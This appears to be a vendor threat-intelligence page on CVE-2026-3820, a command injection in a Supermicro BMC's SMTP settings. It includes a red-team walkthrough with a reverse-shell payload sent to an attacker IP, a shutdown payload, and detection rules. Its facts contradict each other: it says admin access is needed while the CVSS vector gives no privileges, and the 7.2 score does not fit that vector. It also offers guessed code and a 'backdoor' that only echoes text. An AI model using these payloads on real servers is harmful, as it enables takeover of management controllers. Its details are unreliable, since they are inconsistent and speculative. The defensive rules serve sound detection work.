CVE-2026-3820
Executive Summary
CVE-2026-3820 is a critical vulnerability in the Supermicro BMC SMTP service, specifically affecting the Supermicro AS-2115HS-TNR server. The flaw allows an attacker to obtain administrator privileges and inject specially crafted characters into the SMTP service configuration. This injection can cause the underlying system to execute unintended commands during process invocation, leading to potential denial-of-service attacks, arbitrary code execution, or permanent compromise of the Baseboard Management Controller (BMC). The vulnerability has a CVSS score of 7.2, indicating high severity. No public exploit code or patch details are currently available, but the risk is significant due to the BMC's privileged network position.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The threat level is high due to the low attack complexity and the potential for full compromise of the BMC, which controls critical server functions including power, cooling, and remote management.
Deep Dive & Mechanics
The vulnerability resides in the SMTP service of the Supermicro BMC firmware. The SMTP service is used to send email alerts for system events. The flaw involves improper sanitization of user-supplied input when configuring SMTP settings. An attacker can inject special characters (e.g., semicolons, pipes, or backticks) into fields such as the SMTP server address, username, or password. When the BMC processes these fields to invoke the SMTP client, the injected characters break out of the intended command and allow arbitrary command execution.
The attack flow:
- Reconnaissance: The attacker identifies a Supermicro AS-2115HS-TNR server with an exposed BMC web interface or API.
- Authentication Bypass or Privilege Escalation: The attacker first gains admin access, possibly through default credentials, weak passwords, or another vulnerability.
- Configuration Injection: The attacker modifies the SMTP configuration via the web interface or API, injecting malicious commands into fields like the SMTP server address.
- Trigger: The BMC attempts to send an email alert (e.g., for a simulated hardware event), which invokes the SMTP client with the malicious configuration.
- Execution: The injected commands execute with the privileges of the BMC process, leading to code execution, denial of service, or persistent compromise.
Vulnerable vs. Patched Code
No patched code is available. The vulnerable code likely resides in the BMC firmware's SMTP configuration handler. A typical vulnerable pattern might look like:
// Vulnerable pseudo-code
void configure_smtp(char *server, char *user, char *pass) {
char cmd[512];
snprintf(cmd, sizeof(cmd), "sendmail -S %s -u %s -p %s", server, user, pass);
system(cmd); // Unsafe: no input sanitization
}
A patched version would sanitize inputs or use safer APIs:
// Patched pseudo-code
void configure_smtp(char *server, char *user, char *pass) {
// Validate and sanitize inputs
if (!is_valid_hostname(server) || !is_safe_string(user) || !is_safe_string(pass)) {
log_error("Invalid SMTP configuration");
return;
}
// Use execve with separate arguments to avoid shell injection
char *args[] = {"sendmail", "-S", server, "-u", user, "-p", pass, NULL};
execve("/usr/sbin/sendmail", args, NULL);
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Target: Supermicro AS-2115HS-TNR with vulnerable BMC firmware (version unknown).
- Attacker: Kali Linux with network access to the BMC management interface (typically on port 443 or 80).
- Tools: Burp Suite, curl, netcat, custom scripts.
Exploitation Steps:
- Access BMC: Navigate to
https://<BMC_IP>and log in with admin credentials (e.g., defaultadmin/admin). - Navigate to SMTP Settings: Find the SMTP configuration page (e.g., under "Alerts" or "Email Settings").
- Inject Payload: In the SMTP server field, enter a payload like:
This attempts to spawn a reverse shell when the SMTP client is invoked.smtp.example.com; nc -e /bin/sh <attacker_ip> 4444 - Trigger Email: Simulate a hardware event (e.g., temperature threshold) to force the BMC to send an email alert.
- Catch Shell: On the attacker machine, listen with
nc -lvnp 4444to receive the reverse shell.
Alternative Payloads:
- Denial of Service:
smtp.example.com; shutdown -h now - Persistent Backdoor:
smtp.example.com; echo "malicious" > /tmp/backdoor.sh
Blue Team
Detection & Response:
- Monitor BMC logs for unusual SMTP configuration changes.
- Alert on any command injection patterns in SMTP fields (e.g., semicolons, pipes).
- Restrict network access to the BMC interface to trusted management networks only.
- Implement strict input validation on the BMC web interface (if possible via firmware update).
- Use network segmentation to isolate BMC traffic from production networks.
Hunting Queries:
- Search for SMTP configuration changes in BMC audit logs.
- Look for outbound connections from the BMC to unusual IP addresses on port 4444 or other high ports.
- Monitor for unexpected process execution on the BMC (e.g.,
sh,bash,nc).
Indicators of Compromise (IOCs)
- Network:
- Outbound connections from BMC to attacker-controlled IPs on non-standard ports (e.g., 4444, 1337).
- Unusual SMTP traffic patterns (e.g., frequent connection attempts to external servers).
- Host (BMC):
- Unexpected processes:
sh,bash,nc,python,perl. - Modified SMTP configuration files (e.g.,
/etc/sendmail.cfor equivalent). - Presence of backdoor scripts in
/tmpor/var/tmp.
- Unexpected processes:
- Logs:
- BMC audit logs showing SMTP configuration changes with special characters.
- System logs indicating command execution from the SMTP service.
Detection Engineering
YARA Rule
rule CVE_2026_3820_SMTP_Injection {
meta:
description = "Detects command injection patterns in Supermicro BMC SMTP configuration"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-3820"
strings:
$injection1 = /[;&|`$(){}]/
$injection2 = /(nc|bash|sh|python|perl|wget|curl)\s/
$smtp_field = /smtp_server|smtp_user|smtp_pass/i
condition:
any of ($injection*) and any of ($smtp_field)
}
Sigma Rule
title: Supermicro BMC SMTP Command Injection
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects command injection attempts in Supermicro BMC SMTP configuration
author: Valters IT
logsource:
product: supermicro
service: bmc
detection:
selection:
EventID: 1000 # Example: SMTP configuration change event
Message|contains:
- ';'
- '|'
- '`'
- '$('
- 'nc '
- 'bash '
- 'sh '
condition: selection
falsepositives:
- Legitimate use of special characters in SMTP fields (unlikely)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-3820 Supermicro BMC SMTP Command Injection"; flow:to_server; content:"smtp_server"; nocase; content:";"; distance:0; content:"nc"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the SMTP service on the BMC if not required. Restrict network access to the BMC interface to trusted IPs only.
- Short-term: Monitor for firmware updates from Supermicro. Apply patches as soon as they become available.
- Long-term: Implement network segmentation to isolate BMC traffic. Use strong, unique passwords for BMC accounts. Enable logging and auditing on the BMC.
- Workaround: If SMTP is necessary, consider using an external SMTP relay that is not vulnerable, and disable direct SMTP on the BMC.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert